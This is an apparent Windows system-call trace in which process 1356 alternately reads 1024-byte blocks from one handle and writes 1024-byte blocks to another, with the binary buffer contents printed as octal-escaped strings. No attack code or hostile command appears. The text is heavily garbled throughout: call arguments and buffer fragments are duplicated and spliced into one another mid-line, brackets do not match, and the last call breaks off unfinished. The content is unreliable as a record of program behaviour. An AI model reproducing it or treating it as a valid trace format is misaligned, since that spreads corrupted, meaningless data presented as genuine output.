E\307\36\242\327\232m\357$\260\27\343y\275\244\351\26\374\36\375\245\376j)\245\305\247\32n\277?v\22\242\303\304\27\344V\30\265:F\37\6\327C&\331]\264l\365\336z\211\14]\344\376\14\324j\15\7\202\247\334\242\344\251~\244\3457\252\25\7[i\33\255W\226\244\265\342\326\250&g\305\237[\22\354\254\323X\122F\233\304\325\225\277f\345\274\23\373\325\11\363j\205\10\250J^vc\274f\174\377\251\342e\31\275e\336\261\355\210254\116\375s\213\273\264O\367\270\322/c\342\365\270\220\322\220T\355R!\310\356b\302\351\352t\245\32\200(\12i\252n\5\215%EZ\12\246\23\250\252\345\310\324*D\235h\2203YD^\356\236\37i\0\327\363\14\340AqO\325\33d\240\252\2567v\332C\217?\20u\334J\232\322\25\211\352\17\363={6+\322!G9\237\34\232\214BB\221}\2003530\27_\206}\240>\363\217q\253\301\256\343\32\11\33{T\370wwX~r\252\3\376h^}I%\346Q#\377\245\2679\12xP\264?\5,\271D\212\3449\353p\307Xj\235\\12\342\363F\274+8{k\3108T\20\254\3217\33t\226\12\364\245\217\342\246\333e^\354\11O'\177\377\242S\232\20\264\2628\270\257)\212-a/\2524\241\342\330\2516 (92, 0, 0, 0, "\224qV\335\221m=\253\233"E\307\36\242\327\232m\357$\260\27\343y\275\244\351\26\374\36\375\245\376j)\245\305\247\32n\277?v\22\242\303\304\27\344V\30\265:F\37\6\327C&\331]\264l\365\336z\211\14]\344\376\14\324j\15\7\202\247\334\242\344\251~\244\3457\252\25\7[i\33\255W\226\244\265\342\326\250&g\305\237[\22\354\254\323X\122F\233\304\325\225\277f\345\274\23\373\325\11\363j\205\10\250J^vc\274f\174\377\251\342e\31\275e\336\261\355\210\363\217q\253\301\256\343\32\11\33{T\370wwX~r\252\3\376h^}I%\346Q#\377\245\2679\12xP\264?\5,\271D\212\3449\353p\307Xj\235\\12\342\363F\274+8{k\3108T\20\254\3217\33t\226\12\364\245\217\342\246\333e^\354\11O'\177\377\242S\232\20\264\2628\270\257)\212-a/\2524\241\342\330\2516"\233\200i\233\354\261\256Op\374\\301<\217<\371)\263\352\12\215}\2\304\365\34\14/e\313N\236\241+G\242\13)\20\210\322\206b\37\361\331<\327\375\357xy\207\3|\364\12b\272/\273k\232\362K\340\27\350\30\231\7h\4\\203\356\13\7\14\3170\24&d\5/%\23\246\346\354\2\314\252\34sh*\330V\251YuB\333\363\0\2021\230\\216!", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01212  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "o\270t&]j\251\27\311\3210\255\334;\310\257;\35i\27IX\311?c\244\17WYm*\305\376\3766\20S1\22\263F\266V\6\25\2110\372OBc\337\266ZH\230}\377k\261#2G\315\366\3509\327\325;/\21\314Lpt\243\22323\336\208|\2614\315\31\277\237\22)O\225\324\310\204r\256\377\4$7*\350C\7|%\36~p\264\242?d\265<\27299[<,\161\30\343\312\216\30\25\336\367r\5""Ri\11l'\374\20&\14\221v\342o\5\276\270\26335h\16\234M\26\316\30]]\36_\262\244\342\27X\356QHL-[I("\253\311\234\221\253\222'\335\240\367\22\234\22\273.=T>\240\26\35\35N\2537\354\303\\79&heB\253C\352\356,\262\30\23\225?\335\33\2250X.:\230&1\253_86\366Q\15\3016\251$\332\255\337)1\325^,\25\243q4aa\333'4>>$i\267}4m\3267\263\344\341\33\26T\13q\313&\242\2467\253\355.}\304S?+4\316'\3675\11z\23, \272=\17\313;\7\32\.\341\224 \346\345c0\235v\317Di$k0+*\24705\347\2667a\2674j\2719\306\315(\274<>\215-\15\36+I\36\21|kO\333\300,\312+C?\256\217\3004S\232\2410\240\30\250"r\367\352 b'Pzxz \231+p\216p\255\353@\363\312;44\200\201\347d5;3=1?\344\23\35\21\37/!-#+%)'')%+\363". 0>2<4\344o\367\347`\351b\214)\326p7\377E\312\36\320\341#\341,\346\340/\365|\256-\371\250(\207\2667\360\2612\231r\336\202\373;\257\325\217\2725\261\11\331", )  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "o\270t&]j\251\27\311\3210\255\334;\310\257;\35i\27IX\311?c\244\17WYm*\305\376\3766\20S1\22\263F\266V\6\25\2110\372OBc\337\266ZH\230}\377k\261#2G\315\366\3509\327\325;/\21\314Lpt\243\22323\336\208|\2614\315\31\277\237\22)O\225\324\310\204r\256\377\4$7*\350C\7|%\36~p\264\242?d\265<\27299[<,\161\30\343\312\216\30\25\336\367r\5""Ri\11l'\374\20&\14\221v\342o\5\276\270\26335h\16\234M\26\316\30]]\36_\262\244\342\27X\356QHL-[I("\253\311\234\221\253\222'\335\240\367\22\234\22\273.=T>\240\26\35\35N\2537\354\303\\79&heB\253C\352\356,\262\30\23\225?\335\33\2250X.:\230&1\253_86\366Q\15\3016\251$\332\255\337)1\325^,\25\243q4aa\333'4>>$i\267}4m\3267\263\344\341\33\26T\13q\313&\242\2467\253\355.}\304S?+4\316'\3675\11z\23, \272=\17\313;\7\32\.\341\224 \346\345c0\235v\317Di$k0+*\24705\347\2667a\2674j\2719\306\315(\274<>\215-\15\36+I\36\21|kO\333\300,\312+C?\256\217\3004S\232\2410\240\30\250"r\367\352 b'Pzxz \231+p\216p\255\353@\363\312;44\200\201\347d5;3=1?\344\23\35\21\37/!-#+%)'')%+\363". 0>2<4\344o\367\347`\351b\214)\326p7\377E\312\36\320\341#\341,\346\340/\365|\256-\371\250(\207\2667\360\2612\231r\336\202\373;\257\325\217\2725\261\11\331", ) \253\311\234\221\253\222'\335\240\367\22\234\22\273.=T>\240\26\35\35N\2537\354\303\\79&heB\253C\352\356,\262\30\23\225?\335\33\2250X.:\230&1\253_86\366Q\15\3016\251$\332\255\337)1\325^,\25\243q4aa\333'4>>$i\267}4m\3267\263\344\341\33\26T\13q\313&\242\2467\253\355.}\304S?+4\316'\3675\11z\23, \272=\17\313;\7\32\.\341\224 \346\345c0\235v\317Di$k0+*\24705\347\2667a\2674j\2719\306\315(\274<>\215-\15\36+I\36\21|kO\333\300,\312+C?\256\217\3004S\232\2410\240\30\25025\2557\262\224l (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "o\270t&]j\251\27\311\3210\255\334;\310\257;\35i\27IX\311?c\244\17WYm*\305\376\3766\20S1\22\263F\266V\6\25\2110\372OBc\337\266ZH\230}\377k\261#2G\315\366\3509\327\325;/\21\314Lpt\243\22323\336\208|\2614\315\31\277\237\22)O\225\324\310\204r\256\377\4$7*\350C\7|%\36~p\264\242?d\265<\27299[<,\161\30\343\312\216\30\25\336\367r\5""Ri\11l'\374\20&\14\221v\342o\5\276\270\26335h\16\234M\26\316\30]]\36_\262\244\342\27X\356QHL-[I("\253\311\234\221\253\222'\335\240\367\22\234\22\273.=T>\240\26\35\35N\2537\354\303\\79&heB\253C\352\356,\262\30\23\225?\335\33\2250X.:\230&1\253_86\366Q\15\3016\251$\332\255\337)1\325^,\25\243q4aa\333'4>>$i\267}4m\3267\263\344\341\33\26T\13q\313&\242\2467\253\355.}\304S?+4\316'\3675\11z\23, \272=\17\313;\7\32\.\341\224 \346\345c0\235v\317Di$k0+*\24705\347\2667a\2674j\2719\306\315(\274<>\215-\15\36+I\36\21|kO\333\300,\312+C?\256\217\3004S\232\2410\240\30\250"r\367\352 b'Pzxz \231+p\216p\255\353@\363\312;44\200\201\347d5;3=1?\344\23\35\21\37/!-#+%)'')%+\363". 0>2<4\344o\367\347`\351b\214)\326p7\377E\312\36\320\341#\341,\346\340/\365|\256-\371\250(\207\2667\360\2612\231r\336\202\373;\257\325\217\2725\261\11\331", ) . 0>2<4\344o\367\347`\351b\214)\326p7\377E\312\36\320\341#\341,\346\340/\365|\256-\371\250(\207\2667\360\2612\231r\336\202\373;\257\325\217\2725\261\11\331", ) == 0x0
 01213  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\342\4p\30V\374\215\377Q\253\333$Z\367|^]\214\347\31Q\35\11y\12\264"\33j>\333\20\262\360v<\223\346\247\205o\325\232P\206\277X8t\254\371\236\267\233o\24\373\3\268\36\206\11\271\203}\315\210\320\26\247\237-m{\362\231_\220\w\253\2421\362iq\314AS\377H\177\357\252\322\21\246\226\3\364\276yp\323\375\203\265\215\3312H\342-B\351M\316,\356,\350\300R\241\335l\347\253_\2009\233\352\372\364\36&Ai\306.\\6\0\23\212\212|\252\262\5\331;%\333\25\241\270e\1 \253\205\3222\335\23\241\211x(\204\253\265\230\17"p\354\4\260aoz\313\20\337\255\350\370c\216\267E\250*\16\233\374\276\351\34z/\277\17\15;\337\225\17\231\212\377\256\3\344#\357\275\267Q\340FG%6\31\212\342\275Q [\363\21T8\3\370>\324N\33\276;\367S\272\2460\227\344\33X\375\31\375\302\261\233\2\255\14\335\353h\235 \356\15]n\11\227\234\5\27\2313\34\256\346\234\276`\210\241X\262\216\1OD\366\210x\7\223\240\25\35}\343[\333"@\262\327\217E\226\210\337w\264r\357\213\36\230\270U\304\234\13\271\326\347\246\351\344\371\326\362\3043(\13\13\225\273k\216\2278^\34^\231LT\327\^\242\326D\275\307\365\255\10?\12z\25\265\361\21\323\334\201N\243\32\264\316s\34\24d\347s\36O\2\36\227E\332\35\366\353\260\356#\271\20\376\341\21f\367\350\1g{\20\5\213\373\24\35\0\23\326\21\271\324=L\360\376\247\31]V~a\21\3534\252\3366\313& L\1u\274\227!\7\23\222,\325\14!l\260mzmE q\303\3\257R\201|\267\16\244\263\2514\266\234!{\341\252\224~\337\312yE\200\0/z?\3417(\264\32_\301r\376", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \33j>\333\20\262\360v<\223\346\247\205o\325\232P\206\277X8t\254\371\236\267\233o\24\373\3\268\36\206\11\271\203}\315\210\320\26\247\237-m{\362\231_\220\w\253\2421\362iq\314AS\377H\177\357\252\322\21\246\226\3\364\276yp\323\375\203\265\215\3312H\342-B\351M\316,\356,\350\300R\241\335l\347\253_\2009\233\352\372\364\36&Ai\306.\\6\0\23\212\212|\252\262\5\331;%\333\25\241\270e\1 \253\205\3222\335\23\241\211x(\204\253\265\230\17 (92, 0, 0, 0, "\342\4p\30V\374\215\377Q\253\333$Z\367|^]\214\347\31Q\35\11y\12\264"\33j>\333\20\262\360v<\223\346\247\205o\325\232P\206\277X8t\254\371\236\267\233o\24\373\3\268\36\206\11\271\203}\315\210\320\26\247\237-m{\362\231_\220\w\253\2421\362iq\314AS\377H\177\357\252\322\21\246\226\3\364\276yp\323\375\203\265\215\3312H\342-B\351M\316,\356,\350\300R\241\335l\347\253_\2009\233\352\372\364\36&Ai\306.\\6\0\23\212\212|\252\262\5\331;%\333\25\241\270e\1 \253\205\3222\335\23\241\211x(\204\253\265\230\17"p\354\4\260aoz\313\20\337\255\350\370c\216\267E\250*\16\233\374\276\351\34z/\277\17\15;\337\225\17\231\212\377\256\3\344#\357\275\267Q\340FG%6\31\212\342\275Q [\363\21T8\3\370>\324N\33\276;\367S\272\2460\227\344\33X\375\31\375\302\261\233\2\255\14\335\353h\235 \356\15]n\11\227\234\5\27\2313\34\256\346\234\276`\210\241X\262\216\1OD\366\210x\7\223\240\25\35}\343[\333"@\262\327\217E\226\210\337w\264r\357\213\36\230\270U\304\234\13\271\326\347\246\351\344\371\326\362\3043(\13\13\225\273k\216\2278^\34^\231LT\327\^\242\326D\275\307\365\255\10?\12z\25\265\361\21\323\334\201N\243\32\264\316s\34\24d\347s\36O\2\36\227E\332\35\366\353\260\356#\271\20\376\341\21f\367\350\1g{\20\5\213\373\24\35\0\23\326\21\271\324=L\360\376\247\31]V~a\21\3534\252\3366\313& L\1u\274\227!\7\23\222,\325\14!l\260mzmE q\303\3\257R\201|\267\16\244\263\2514\266\234!{\341\252\224~\337\312yE\200\0/z?\3417(\264\32_\301r\376", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) @\262\327\217E\226\210\337w\264r\357\213\36\230\270U\304\234\13\271\326\347\246\351\344\371\326\362\3043(\13\13\225\273k\216\2278^\34^\231LT\327\^\242\326D\275\307\365\255\10?\12z\25\265\361\21\323\334\201N\243\32\264\316s\34\24d\347s\36O\2\36\227E\332\35\366\353\260\356#\271\20\376\341\21f\367\350\1g{\20\5\213\373\24\35\0\23\326\21\271\324=L\360\376\247\31]V~a\21\3534\252\3366\313& L\1u\274\227!\7\23\222,\325\14!l\260mzmE q\303\3\257R\201|\267\16\244\263\2514\266\234!{\341\252\224~\337\312yE\200\0/z?\3417(\264\32_\301r\376", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01214  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\345*\242\303(\30\247G\10-v\244M13\215\242:w7\30\17;\33\374?\36}m\14\177\316O\310X!\22\324`\2446{\242;\223\142\257%\16\30\2649\214\2654?\26?2\266q-\36\326EJ\35\212R(\310 u\244&\255\242H\327\325\324\4}\306\11\263\33`0\274j\26ieb\273\377=3\375\277\233`9\15\33/\244\302\3n"\304"\10.\252"\1E(+030L3\21\3767\274\231>\:X\37:6\226J;\141\21\343N#\206E4C+\272\214-\12E\25422\22<\201\177\274\373\370\332.\276o\375\177c\333\235\27\177\3\371\241\243(\344\35\7#\361)\366m\21N6R\24,\305\266\37v\12#9\373\33296\377\264W8uz\34\343!L\313"K'\20\373H\252\31l\236\12\13\3601dc4}.#ikzsP\375?W\23T\214\36%p\250\226\201v\332\365\347\34hNfF.\177\307\7\361 \276T9\266\264\374\35Zz=N\263\363\17\225=\32\236$-\362#5dP\257\245%\243k\2,S[\20\142N\24\265\12\22\\7\24;59!<\32*\30T\31{rabj\5{\35\10`z+\213^\2\17\20a]A@4\4^K\234>e46\37\5>\34\300M\37\231\241\2WLWCFL(*\34\310\254}\257(f\262\4 \335>79;\272\177\304j\326x\35\342_q\237;\252\354ss\315&\236\336\324\325|\247\365\306\255\1\2617d\275-\336\36\271>*\3k\325\37\376\32\24L\366\35\356\340\w\0\15\245\343\309>\226\321,\307~:\317\315\30\313?\217YN\204T7L\5mj\233/\306v\37#\241q\343o$\304i\300\22\301\242@\11\16WE(oSx\245'", ) \304 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\345*\242\303(\30\247G\10-v\244M13\215\242:w7\30\17;\33\374?\36}m\14\177\316O\310X!\22\324`\2446{\242;\223\142\257%\16\30\2649\214\2654?\26?2\266q-\36\326EJ\35\212R(\310 u\244&\255\242H\327\325\324\4}\306\11\263\33`0\274j\26ieb\273\377=3\375\277\233`9\15\33/\244\302\3n"\304"\10.\252"\1E(+030L3\21\3767\274\231>\:X\37:6\226J;\141\21\343N#\206E4C+\272\214-\12E\25422\22<\201\177\274\373\370\332.\276o\375\177c\333\235\27\177\3\371\241\243(\344\35\7#\361)\366m\21N6R\24,\305\266\37v\12#9\373\33296\377\264W8uz\34\343!L\313"K'\20\373H\252\31l\236\12\13\3601dc4}.#ikzsP\375?W\23T\214\36%p\250\226\201v\332\365\347\34hNfF.\177\307\7\361 \276T9\266\264\374\35Zz=N\263\363\17\225=\32\236$-\362#5dP\257\245%\243k\2,S[\20\142N\24\265\12\22\\7\24;59!<\32*\30T\31{rabj\5{\35\10`z+\213^\2\17\20a]A@4\4^K\234>e46\37\5>\34\300M\37\231\241\2WLWCFL(*\34\310\254}\257(f\262\4 \335>79;\272\177\304j\326x\35\342_q\237;\252\354ss\315&\236\336\324\325|\247\365\306\255\1\2617d\275-\336\36\271>*\3k\325\37\376\32\24L\366\35\356\340\w\0\15\245\343\309>\226\321,\307~:\317\315\30\313?\217YN\204T7L\5mj\233/\306v\37#\241q\343o$\304i\300\22\301\242@\11\16WE(oSx\245'", ) \1E(+030L3\21\3767\274\231>\:X\37:6\226J;\141\21\343N#\206E4C+\272\214-\12E\25422\22<\201\177\274\373\370\332.\276o\375\177c\333\235\27\177\3\371\241\243(\344\35\7#\361)\366m\21N6R\24,\305\266\37v\12#9\373\33296\377\264W8uz\34\343!L\313 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\345*\242\303(\30\247G\10-v\244M13\215\242:w7\30\17;\33\374?\36}m\14\177\316O\310X!\22\324`\2446{\242;\223\142\257%\16\30\2649\214\2654?\26?2\266q-\36\326EJ\35\212R(\310 u\244&\255\242H\327\325\324\4}\306\11\263\33`0\274j\26ieb\273\377=3\375\277\233`9\15\33/\244\302\3n"\304"\10.\252"\1E(+030L3\21\3767\274\231>\:X\37:6\226J;\141\21\343N#\206E4C+\272\214-\12E\25422\22<\201\177\274\373\370\332.\276o\375\177c\333\235\27\177\3\371\241\243(\344\35\7#\361)\366m\21N6R\24,\305\266\37v\12#9\373\33296\377\264W8uz\34\343!L\313"K'\20\373H\252\31l\236\12\13\3601dc4}.#ikzsP\375?W\23T\214\36%p\250\226\201v\332\365\347\34hNfF.\177\307\7\361 \276T9\266\264\374\35Zz=N\263\363\17\225=\32\236$-\362#5dP\257\245%\243k\2,S[\20\142N\24\265\12\22\\7\24;59!<\32*\30T\31{rabj\5{\35\10`z+\213^\2\17\20a]A@4\4^K\234>e46\37\5>\34\300M\37\231\241\2WLWCFL(*\34\310\254}\257(f\262\4 \335>79;\272\177\304j\326x\35\342_q\237;\252\354ss\315&\236\336\324\325|\247\365\306\255\1\2617d\275-\336\36\271>*\3k\325\37\376\32\24L\366\35\356\340\w\0\15\245\343\309>\226\321,\307~:\317\315\30\313?\217YN\204T7L\5mj\233/\306v\37#\241q\343o$\304i\300\22\301\242@\11\16WE(oSx\245'", ) , ) == 0x0
 01215  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\205\220nb!\230\333}\177\17\322\1N7\321h\3775\27\227\241t\3742N\3345\17M\233\32i\217hG\329.\13G\303\15\263'JH\20\223\212l\235V2X\236 f\215\340\314o\315i<\264>\204\364g\202\272\354\330\211\375$/\321\332\337\204\265Xcb\261\212\3345\372\32\302\15-yn\224\11IV\j\13\33\261N\222\210\276\302_k\374]F\2341'"\360C>\234\23\272\311\11\361\7;]8\326u\317\374\23\321\344\360U\177)\20\324\360lIo\350!\356Vc\264\321\270/\336\261*|wm\264\332"\325\351\370\31\337:I\213p$\340\206\240\343(F\322\250\347\257\303\27\364\3425\206\354\323N\230\220\355n\240\343\230\36\270\357\3650\262H\274\353\315\23\201\375\341\306\263.\30@\3\206\222\264\345\314\24\1Ib\326\251a\247\373\31f\241\333\211\356sp\203\303(\10\261\345\223X0}\2142\217\344\304\231C\324\204 \366{\340\334\377>\355\14\2728\31\31\327^\224j\33\217\230R\207l\302\26\335\344\15\223\211\17\211\2572\305(WE\330Nc\225\323\222\27\247r\37\247'\265R\314\340b\250\367\2471g+\204\370\7j\361\13|\254\322\270W\177\353&;Zsy\354\233\213\364Hp\326x\350\344\22\30(`\311\311k\367\375\11z(\341\254F\0x\224\360*\343\366\357gy\201\275\22\367\347\22\3479@\266h{\256}m\306V\367!\312\247\0\307\271\201\251\337\204\207\363\244\31\177\322\325\204o0\327%\1-MB,\30\7n\333\335\262\222\241\205\24\240<\330\35[\272\223\250i\12\334\16c\332\243O'\301\222\353P\3468\226G\376fJ"O\226wv\306\210?\30\26c\177\32>Ra\227\317zK\3\211\345\262tcg<\230\216\34\330\243\304\242`", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \360C>\234\23\272\311\11\361\7;]8\326u\317\374\23\321\344\360U\177)\20\324\360lIo\350!\356Vc\264\321\270/\336\261*|wm\264\332 (92, 0, 0, 0, "\205\220nb!\230\333}\177\17\322\1N7\321h\3775\27\227\241t\3742N\3345\17M\233\32i\217hG\329.\13G\303\15\263'JH\20\223\212l\235V2X\236 f\215\340\314o\315i<\264>\204\364g\202\272\354\330\211\375$/\321\332\337\204\265Xcb\261\212\3345\372\32\302\15-yn\224\11IV\j\13\33\261N\222\210\276\302_k\374]F\2341'"\360C>\234\23\272\311\11\361\7;]8\326u\317\374\23\321\344\360U\177)\20\324\360lIo\350!\356Vc\264\321\270/\336\261*|wm\264\332"\325\351\370\31\337:I\213p$\340\206\240\343(F\322\250\347\257\303\27\364\3425\206\354\323N\230\220\355n\240\343\230\36\270\357\3650\262H\274\353\315\23\201\375\341\306\263.\30@\3\206\222\264\345\314\24\1Ib\326\251a\247\373\31f\241\333\211\356sp\203\303(\10\261\345\223X0}\2142\217\344\304\231C\324\204 \366{\340\334\377>\355\14\2728\31\31\327^\224j\33\217\230R\207l\302\26\335\344\15\223\211\17\211\2572\305(WE\330Nc\225\323\222\27\247r\37\247'\265R\314\340b\250\367\2471g+\204\370\7j\361\13|\254\322\270W\177\353&;Zsy\354\233\213\364Hp\326x\350\344\22\30(`\311\311k\367\375\11z(\341\254F\0x\224\360*\343\366\357gy\201\275\22\367\347\22\3479@\266h{\256}m\306V\367!\312\247\0\307\271\201\251\337\204\207\363\244\31\177\322\325\204o0\327%\1-MB,\30\7n\333\335\262\222\241\205\24\240<\330\35[\272\223\250i\12\334\16c\332\243O'\301\222\353P\3468\226G\376fJ"O\226wv\306\210?\30\26c\177\32>Ra\227\317zK\3\211\345\262tcg<\230\216\34\330\243\304\242`", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) O\226wv\306\210?\30\26c\177\32>Ra\227\317zK\3\211\345\262tcg<\230\216\34\330\243\304\242`", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01216  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, ">\0m\32 L\37=\23`\13#%\337w\16\303\370\325t\5". 0>2<4:6886:\236\312}\247\256\252\14\341O\25f\177(\366%'_&*i()\12",/2u|H\200v#\336{\234:\15\345+\246\265$'\344u*\240,i\12+`\331\337C\313\5\311n\372=;O1\35mj\33\227q:\17v\252V\7$5\255\376\23\334^\12{-\245S\24-dd\277\3762*8:z+n\302+\327\33_\226\356\232 \327-\245\241!&%{)\177|\241a\12\33\330\335<\4\267/4y\270\0\326;?W*pK\2346\352\237\13 " `\315}\245f1\241\323\255?\27oZ!X>^|\266&\234\21\272$\360<\14'J\343\310]\20bOVf\233'F&+\242-\246{\367-\207\350a`3\23\251\267\35\370\3700\3l\302\353\376\25\335\36\U\264\5 \233\3444wu\327<\346\361,//\244w\5\261\374\1:5\363\15\307Yk*\362\130\30\323(\321*/"\1.\343r)\330)\3335{\304GN8\341*5\36?*5';i\322\23??r?\32H4\1\35\4)\322\3 \325vv\300w\352&}(\245"?w.=j\264/.J\271-\11\374\265x?\15\224[\13\224f9r#\3330\256\373*(\223\205\254\241j/1\366t+\266\250\6\206\321\307\305\274\370\36\264\332\35\235\265\33\2520\21\352\2545&\256`-\243", ) . 0>2<4:6886:\236\312}\247\256\252\14\341O\25f\177(\366%'_&*i()\12 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, ">\0m\32 L\37=\23`\13#%\337w\16\303\370\325t\5". 0>2<4:6886:\236\312}\247\256\252\14\341O\25f\177(\366%'_&*i()\12",/2u|H\200v#\336{\234:\15\345+\246\265$'\344u*\240,i\12+`\331\337C\313\5\311n\372=;O1\35mj\33\227q:\17v\252V\7$5\255\376\23\334^\12{-\245S\24-dd\277\3762*8:z+n\302+\327\33_\226\356\232 \327-\245\241!&%{)\177|\241a\12\33\330\335<\4\267/4y\270\0\326;?W*pK\2346\352\237\13 " `\315}\245f1\241\323\255?\27oZ!X>^|\266&\234\21\272$\360<\14'J\343\310]\20bOVf\233'F&+\242-\246{\367-\207\350a`3\23\251\267\35\370\3700\3l\302\353\376\25\335\36\U\264\5 \233\3444wu\327<\346\361,//\244w\5\261\374\1:5\363\15\307Yk*\362\130\30\323(\321*/"\1.\343r)\330)\3335{\304GN8\341*5\36?*5';i\322\23??r?\32H4\1\35\4)\322\3 \325vv\300w\352&}(\245"?w.=j\264/.J\271-\11\374\265x?\15\224[\13\224f9r#\3330\256\373*(\223\205\254\241j/1\366t+\266\250\6\206\321\307\305\274\370\36\264\332\35\235\265\33\2520\21\352\2545&\256`-\243", ) \345+\246\265$'\344u*\240,i\12+`\331\337C\313\5\311n\372=;O1\35mj\33\227q:\17v\252V\7$5\255\376\23\334^\12{-\245S\24-dd\277\3762*8:z+n\302+\327\33_\226\356\232 \327-\245\241!&%{)\177|\241a\12\33\330\335<\4\267/4y\270\0\326;?W*pK\2346\352\237\13  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, ">\0m\32 L\37=\23`\13#%\337w\16\303\370\325t\5". 0>2<4:6886:\236\312}\247\256\252\14\341O\25f\177(\366%'_&*i()\12",/2u|H\200v#\336{\234:\15\345+\246\265$'\344u*\240,i\12+`\331\337C\313\5\311n\372=;O1\35mj\33\227q:\17v\252V\7$5\255\376\23\334^\12{-\245S\24-dd\277\3762*8:z+n\302+\327\33_\226\356\232 \327-\245\241!&%{)\177|\241a\12\33\330\335<\4\267/4y\270\0\326;?W*pK\2346\352\237\13 " `\315}\245f1\241\323\255?\27oZ!X>^|\266&\234\21\272$\360<\14'J\343\310]\20bOVf\233'F&+\242-\246{\367-\207\350a`3\23\251\267\35\370\3700\3l\302\353\376\25\335\36\U\264\5 \233\3444wu\327<\346\361,//\244w\5\261\374\1:5\363\15\307Yk*\362\130\30\323(\321*/"\1.\343r)\330)\3335{\304GN8\341*5\36?*5';i\322\23??r?\32H4\1\35\4)\322\3 \325vv\300w\352&}(\245"?w.=j\264/.J\271-\11\374\265x?\15\224[\13\224f9r#\3330\256\373*(\223\205\254\241j/1\366t+\266\250\6\206\321\307\305\274\370\36\264\332\35\235\265\33\2520\21\352\2545&\256`-\243", ) \1.\343r)\330)\3335{\304GN8\341*5\36?*5';i\322\23??r?\32H4\1\35\4)\322\3 \325vv\300w\352&}(\245 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, ">\0m\32 L\37=\23`\13#%\337w\16\303\370\325t\5". 0>2<4:6886:\236\312}\247\256\252\14\341O\25f\177(\366%'_&*i()\12",/2u|H\200v#\336{\234:\15\345+\246\265$'\344u*\240,i\12+`\331\337C\313\5\311n\372=;O1\35mj\33\227q:\17v\252V\7$5\255\376\23\334^\12{-\245S\24-dd\277\3762*8:z+n\302+\327\33_\226\356\232 \327-\245\241!&%{)\177|\241a\12\33\330\335<\4\267/4y\270\0\326;?W*pK\2346\352\237\13 " `\315}\245f1\241\323\255?\27oZ!X>^|\266&\234\21\272$\360<\14'J\343\310]\20bOVf\233'F&+\242-\246{\367-\207\350a`3\23\251\267\35\370\3700\3l\302\353\376\25\335\36\U\264\5 \233\3444wu\327<\346\361,//\244w\5\261\374\1:5\363\15\307Yk*\362\130\30\323(\321*/"\1.\343r)\330)\3335{\304GN8\341*5\36?*5';i\322\23??r?\32H4\1\35\4)\322\3 \325vv\300w\352&}(\245"?w.=j\264/.J\271-\11\374\265x?\15\224[\13\224f9r#\3330\256\373*(\223\205\254\241j/1\366t+\266\250\6\206\321\307\305\274\370\36\264\332\35\235\265\33\2520\21\352\2545&\256`-\243", ) , ) == 0x0
 01217  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\303\233#\302)\304\302/\15\10\230f\6\15{\236\315\253>?\205kI\307'\350\243\345S|b&\251a\232-2G\235>x\233T\230\306\27G\201C\237\211+f\272\202\327\5#\254>\2\322m\22jS\362.t2Q\275\366\255\370l9Yo\177M\357\371\7m+Rg\21\360\236\356\35*\362\234\347g>\347\221S\317h\224\211\7\307,5\271j\256\355\373\3607r~\244\305\234\224\246\212\263P)&\346\215\253\201D\0\364\362\222\232\35\331v\271\213\345K\23\227z\250\10\323R\24x\277\376X\272\316\374\14\376\214|P\27\257\367\265\241\376\246y\0\364\312~\335\360Ci\247J\260\247\224\23\254\246\3108\242\373\225\342]\362\326{\315\326\342^5#\340\272\\203\240\362>\243\24H\322\334^\351\264\311is\256\14R\245\230\366>m\254$\313\356|\210\354&\300\301F?\351\314\225I\376\220\20\212P\305\12\273\333\225^1\367\1Y\22">\255\254\45j\263\211;\25\2330J\371\30\376#Z\21\30\3\5\23\13U\2\245;8\371:\262\236d\312J\341MHhM\240\216>(\3321\13\212\316\214!\11\379\200v\220\316F\21\177V\267[\265\316l\202\367_>\0p\267\213\222\16\263\336\367\210YhA}\234\361\2\273z\222\231\324\213\247\330\324\307Ef\17\0F\240\334\353\346\371\306:\3110\231\255a\235\373\224\3069\221\211,an"\10\376j\363I\243u2\\3433\177\345\305\213\206#\10\33\253V\32\32ar\20!\375\364ryg6n?\302\264\21\327\251\337\245\213^\352\232\0Ih\277\340\223\16\2725\307\222PN+$\230\273\333\301(D\342\276\336\311\345D\374N\313\377\326<\252\376V\344\324\332\306\304\324}8\255\246\273\274n\15\222\224[\250]:\222e\334\365", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) >\255\254\45j\263\211;\25\2330J\371\30\376#Z\21\30\3\5\23\13U\2\245;8\371:\262\236d\312J\341MHhM\240\216>(\3321\13\212\316\214!\11\379\200v\220\316F\21\177V\267[\265\316l\202\367_>\0p\267\213\222\16\263\336\367\210YhA}\234\361\2\273z\222\231\324\213\247\330\324\307Ef\17\0F\240\334\353\346\371\306:\3110\231\255a\235\373\224\3069\221\211,an (92, 0, 0, 0, 